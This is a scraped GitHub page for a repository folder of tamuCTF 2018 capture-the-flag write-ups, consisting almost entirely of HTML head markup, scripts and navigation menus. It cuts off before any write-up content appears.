src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>Ctf-Write-Up/tamuCTF2k18 at master · BellalArezkiMustapha/Ctf-Write-Up · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="983B:CDCE:CE95409:D40F5B4:64122707" data-pjax-transient="true"/><meta name="html-safe-nonce" content="18bf365121df9a0eae58945f48475c50e81dad93f9cb90c87b8a1c5aa6af4acb" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5ODNCOkNEQ0U6Q0U5NTQwOTpENDBGNUI0OjY0MTIyNzA3IiwidmlzaXRvcl9pZCI6IjM4MDQ1NTY3NjA2MTE2OTQzNDMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="918a6a232abc5a542f0cfc1ec83c5845b314283d16478d15a0f47d5c42a16910" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:121957951" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to BellalArezkiMustapha/Ctf-Write-Up development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f38ec8e42d0f179e9e5a579fbc5d436f79f7e29e8e633ce1ce06326ad3da8c9f/BellalArezkiMustapha/Ctf-Write-Up" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Ctf-Write-Up/tamuCTF2k18 at master · BellalArezkiMustapha/Ctf-Write-Up" /><meta name="twitter:description" content="Contribute to BellalArezkiMustapha/Ctf-Write-Up development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f38ec8e42d0f179e9e5a579fbc5d436f79f7e29e8e633ce1ce06326ad3da8c9f/BellalArezkiMustapha/Ctf-Write-Up" /><meta property="og:image:alt" content="Contribute to BellalArezkiMustapha/Ctf-Write-Up development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Ctf-Write-Up/tamuCTF2k18 at master · BellalArezkiMustapha/Ctf-Write-Up" /><meta property="og:url" content="https://github.com/BellalArezkiMustapha/Ctf-Write-Up" /><meta property="og:description" content="Contribute to BellalArezkiMustapha/Ctf-Write-Up development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/BellalArezkiMustapha/Ctf-Write-Up git https://github.com/BellalArezkiMustapha/Ctf-Write-Up.git">
<meta name="octolytics-dimension-user_id" content="30656358" /><meta name="octolytics-dimension-user_login" content="BellalArezkiMustapha" /><meta name="octolytics-dimension-repository_id" content="121957951" /><meta name="octolytics-dimension-repository_nwo" content="BellalArezkiMustapha/Ctf-Write-Up" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="121957951" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BellalArezkiMustapha/Ctf-Write-Up" />
<link rel="canonical" href="https://github.com/BellalArezkiMustapha/Ctf-Write-Up/tree/master/tamuCTF2k18" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="121957951" data-scoped-search-url="/BellalArezkiMustapha/Ctf-Write-Up/search" data-owner-scoped-search-url="/users/BellalArezkiMustapha/search" data-unscoped-search-url="/search" data-turbo="false" action="/BellalArezkiMustapha/Ctf-Write-Up/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" 